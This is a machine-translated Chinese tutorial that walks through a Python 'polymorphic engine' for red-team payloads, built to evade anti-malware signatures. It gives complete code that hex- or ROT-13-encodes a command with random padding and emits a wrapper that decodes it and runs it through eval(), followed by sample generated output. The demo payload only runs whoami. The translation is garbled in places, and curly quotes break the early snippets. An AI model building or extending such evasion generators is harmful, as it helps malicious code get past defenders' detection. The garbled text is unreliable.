Python的红色团队多态引擎
#python #安全 #encryption #网络安全

学习如何为Python中的红色团队有效载荷创建一个简单的多态发电机,以绕过磁盘和网络上的反恶意软件检测。

在渗透测试和红色团队参与中;混淆和编码有效载荷或调整漏洞利用以绕过简单的检测签名是很普遍的。许多测试人员倾向于以二进制packers的形式进行通用加密,base64编码或使用其他已发布的工具。

的形式。

但是,为什么要使用蓝色团队已经密切分析的工具进行参与度呢?让我们学会建立自己的。我们将利用Python 3.x,如果您想提前下载代码,则可以单击here

多态性复习

对于那些想知道是什么将多态性与常规混淆区分开的事实是,有一个密码或算法在每一代或运行时都会发生变化。多态性代码需要一个突变或转换发生器,该突变或转换生成器将在一个或多个通过中进行重构操纵预期的代码或有效载荷。

实现多态性基本形式的最简单方法是使用一个或多个密码,并为每个有效载荷生成更改键。这为每一代人创造了新的有效载荷,因此是一个独特的签名,以增加您的逃避机会。以下ASCII图描述了控制流的高水平概念:

ASCII Image of Polymorphic Routine Control Flows

在上面,使用加密进行了原始有效载荷,然后使用动态解密程序,例如有效载荷的每个新变体都包含的更改键。这与metamorphism 不同,新生成的例程在控制流,动态变化的变量名称和许多其他重构层都有差异。

有效载荷和分期熵

多态性的第一个依赖性是从随机性或熵开始。默认情况下,我们可以在系统的时间上用作启动随机生成器的种子值的时间来模拟这一点。从那里,我们选择用于对称的密码键,用于在混淆运行时必须动态生成的加密和解密例程。接下来,我们设置了预期的有效载荷进行转换,如下所示:

#define payload to be used for transforms
payload = ‘subprocess.Popen(“whoami”, shell=True)’
#create random parameters for transform function output spec
random.seed(version=2)
random_key = random.randint(1, 25)
#extend with random encoding
repl_randchar = (random.choice(['###', 'zzz', 'abcd'])) * random_key

我们将有效载荷设置为依赖于subproces.popen()方法的字符串,该方法取代了经典的OS.Open()方法。如果您想知道为什么不预先使用我们的执行方式使用子过程;如果您希望在Python运行时执行不同的目标,而不是依靠壳产生的过程,则可以使您的有效载荷更加灵活。

突变密码

除了我们的随机字符用作密钥外,我们还可以使用一个或多个密码进行加密。自然,实施的加密系统越强,您的摘要就越强。

出于简单的演示目的,我们选择使用ROT-13,也称为Cesar Cipher的变体和简单的十六进制编码。您可以使用任何会转换有效载荷的密码,并且可以生成对称键。

以下代码段显示了我们的突变功能,稍后主驱动程序可以调用。我还修改了原始ROT-13算法以包含一些随机字符ASCII填充以使字符串稍微散发出一点,并评论了解密程序的外观:

# separate functions for each transformer
def hextransform(payload):
 hex_payload = payload.encode().hex()
 print(“Original payload: “ + payload)
 print(“Transformed payload: “ + hex_payload)
 return hex_payload
 # reversal
 #original_payload = bytes.fromhex(hex_payload).decode()

def rot13transform(payload):
 # ensure you have repl_randchar defined outside the func
 # using an second position argument will mess with the
 # random selector in main()
 rot13_payload = codecs.encode(payload, ‘rot_13’)
 # add a small mutated twist with spacing
 mutated_rot13_payload = re.sub(r”\s”, repl_randchar, rot13_payload)
 print(“Original payload: “ + payload)
 print(“Transformed payload: “ + mutated_rot13_payload)
 return mutated_rot13_payload
 # reversal
 #derandchar_rot13_payload = re.sub(repl_randchar, “ “,mutated_rot13_payload)
 #original_payload = codecs.decode(mutated_rot13_payload, ‘rot_13’)

执行包装器

生成动态执行有效负载的代码;我们必须确保使用模板(也称为包装器)创建多行字符串。通过主机脚本包含密钥的动态生成要求将在整数中注入一个随机密钥和填充,并将其与python 3.x支持的f'字符串语句与repr()本机函数相结合。

使用f-string元素加上repr()ACT类似于Linux bash``backtick''和$(outputruntime)在变量语句中的等效表示。骨架代码还基于随机键值将解密程序用于其自身变量。最后,我们利用eval()语句在运行时执行原始有效载荷:

# generators for dynamic payload
def genrot13wrap():
 yield ‘#!/usr/bin/env python3\n’
 yield ‘import random, codecs, re, subprocess\n’
 yield f’random_key = {random_key}\n’
 yield f’repl_randchar = {repr(repl_randchar)}\n’
 yield ‘\n’
 yield ‘def deobfuscate_payload():\n’
 yield ‘ transformed_payload = ‘ + repr(rot13transform(payload)) + ‘\n’
 yield ‘ s1_deobfuscated_payload = re.sub(repl_randchar, “ “, transformed_payload)\n’
 yield ‘ s2_deobfuscated_payload = codecs.decode(s1_deobfuscated_payload, “rot_13”)\n’
 yield ‘ return s2_deobfuscated_payload\n’
 yield ‘\n’
 yield ‘executed_payload = eval(deobfuscate_payload())\n’

def genhexwrap():
 yield ‘#!/usr/bin/env python3\n’
 yield ‘import codecs, subprocess\n’
 yield ‘\n’
 yield ‘def deobfuscate_payload():\n’
 yield ‘ transformed_payload = ‘ + repr(hextransform(payload)) + ‘\n’
 yield ‘ deobfuscated_payload = bytes.fromhex(transformed_payload).decode()\n’
 yield ‘ return deobfuscated_payload\n’
 yield ‘\n’
 yield ‘executed_payload = eval(deobfuscate_payload())\n’

在上面,请注意使用yield关键字的使用,这使得更容易加载和指定您的新线路要求。即使定义了功能发生器,我们也不会担心返回,我们将在主要驱动程序中进行。与+=的格式不同,可以使用串联的字符串和三重引号来执行相同的操作。这只是使按线的可见性和在代码块中使用f弦符号的使用更容易。

驱动程序和运行时

现在,让我们定义我们的主要功能以驱动我们的功能,并包括一个随机化选择器,它将在我们修改的rot-13或十六进制编码之间进行选择,然后在模板中为我们的DeobFuscation例程选择适当的生成器以标准化。发电机函数模板在运行时与选择器:

# specify main driver
def main():
# random transformation selector
 function_list = [hextransform, rot13transform]
 selectedfunction = random.choice(function_list)
 # ensure repl_randchar was defined earlier
 selectedfunction(payload)
 if "rot13transform" in str(selectedfunction):
 print('selected modified rot-13')
 rot13_wrapper = ''.join(genrot13wrap())
 print(rot13_wrapper)
 elif "hextransform" in str(selectedfunction):
 print('selected hex')
 hex_wrapper = ''.join(genhexwrap())
 print(hex_wrapper)

if __name__ == "__main__":
 main()

将所有内容汇总在一起,我们的组装代码将是我们的主机脚本,它用作我们的突变发生器,将我们的多态性有效载荷发送到标准:

#!/usr/bin/env python3
# Dennis Chow April 02, 2023
# dchow[AT]xtecsystems.com
# No expressed or implied warranities. What you use this for is on you.
# Updates April 03, 2023 v1.1 — Added additional randomizers
import random, codecs, re

#define payload to be used for transforms
payload = 'subprocess.Popen("whoami", shell=True)'
#create random parameters for transform function output spec
random.seed(version=2)
random_key = random.randint(1, 25)
#extend with random encoding
repl_randchar = (random.choice(['###', 'zzz', 'abcd'])) * random_key
# separate functions for each transformer
def hextransform(payload):
 hex_payload = payload.encode().hex()
 print("Original payload: " + payload)
 print("Transformed payload: " + hex_payload)
 return hex_payload
 # reversal
 #original_payload = bytes.fromhex(hex_payload).decode()
def rot13transform(payload):
 # ensure you have repl_randchar defined outside the func
 # using an second position argument will mess with the
 # random selector in main()
 rot13_payload = codecs.encode(payload, 'rot_13')
 # add a small mutated twist with spacing
 mutated_rot13_payload = re.sub(r"\s", repl_randchar, rot13_payload)
 print("Original payload: " + payload)
 print("Transformed payload: " + mutated_rot13_payload)
 return mutated_rot13_payload
 # reversal
 #derandchar_rot13_payload = re.sub(repl_randchar, " ",mutated_rot13_payload)
 #original_payload = codecs.decode(mutated_rot13_payload, 'rot_13')
# generators for dynamic payload
def genrot13wrap():
 yield '#!/usr/bin/env python3\n'
 yield 'import random, codecs, re, subprocess\n'
 yield f'random_key = {random_key}\n'
 yield f'repl_randchar = {repr(repl_randchar)}\n'
 yield '\n'
 yield 'def deobfuscate_payload():\n'
 yield ' transformed_payload = ' + repr(rot13transform(payload)) + '\n'
 yield ' s1_deobfuscated_payload = re.sub(repl_randchar, " ", transformed_payload)\n'
 yield ' s2_deobfuscated_payload = codecs.decode(s1_deobfuscated_payload, "rot_13")\n'
 yield ' return s2_deobfuscated_payload\n'
 yield '\n'
 yield 'executed_payload = eval(deobfuscate_payload())\n'
def genhexwrap():
 yield '#!/usr/bin/env python3\n'
 yield 'import codecs, subprocess\n'
 yield '\n'
 yield 'def deobfuscate_payload():\n'
 yield ' transformed_payload = ' + repr(hextransform(payload)) + '\n'
 yield ' deobfuscated_payload = bytes.fromhex(transformed_payload).decode()\n'
 yield ' return deobfuscated_payload\n'
 yield '\n'
 yield 'executed_payload = eval(deobfuscate_payload())\n'
# specify main driver
def main():
# random transformation selector
 function_list = [hextransform, rot13transform]
 selectedfunction = random.choice(function_list)
 # ensure repl_randchar was defined earlier
 selectedfunction(payload)
 if "rot13transform" in str(selectedfunction):
 print('selected modified rot-13')
 rot13_wrapper = ''.join(genrot13wrap())
 print(rot13_wrapper)
 elif "hextransform" in str(selectedfunction):
 print('selected hex')
 hex_wrapper = ''.join(genhexwrap())
 print(hex_wrapper)
if __name__ == "__main__":
 main()

这是在下面的十六进制和rot-13的动态产生的示例:

#Original payload: subprocess.Popen(“whoami”, shell=True)
#Transformed payload: 73756270726f636573732e506f70656e282277686f616d69222c207368656c6c3d5472756529
#!/usr/bin/env python3
import codecs, subprocess
def deobfuscate_payload():
 transformed_payload = ‘73756270726f636573732e506f70656e282277686f616d69222c207368656c6c3d5472756529’
 deobfuscated_payload = bytes.fromhex(transformed_payload).decode()
 return deobfuscated_payload
executed_payload = eval(deobfuscate_payload())
#!/usr/bin/env python3
import random, codecs, re, subprocess
random_key = 22
repl_randchar = 'zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz'

def deobfuscate_payload():
    transformed_payload = 'fhocebprff.Cbcra("jubnzv",zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzfuryy=Gehr)'
    s1_deobfuscated_payload = re.sub(repl_randchar, " ", transformed_payload)
    s2_deobfuscated_payload = codecs.decode(s1_deobfuscated_payload, "rot_13")
    return s2_deobfuscated_payload

executed_payload = eval(deobfuscate_payload())

两者都是基于随机器和随机密钥的唯一有效载荷。请注意,由于我们没有将任何衬垫的字符串注入到我们的十六进制预编码中,因此,六角形的发电机在每次发生时都不会使该有效载荷独一无二。这是一个故意的遗漏,因此您可以在每个调用中看到差异。

使用repl.it,我们可以立即调用并测试Whoami有效载荷,并返回跑步者的输出,这是容器的服务帐户:

Whoami Payload Dynamically Generated and Executed by ReplIt<br>

概括

在Python 3.x中组合内置功能和标准库,我们能够为我们的红色团队有效载荷创建一个非常简单的多态性突变发生器的示例。我们使用了随机器变量值,并将它们注入基于字符串的模板中,然后将其打印到新的线上,并使用其倒解密例程。您可以通过交换密码并制作更多任意外观的变量名称来进一步扩展我的代码。希望您喜欢我们的简短示例,如果您有任何疑问或评论,请给我留言。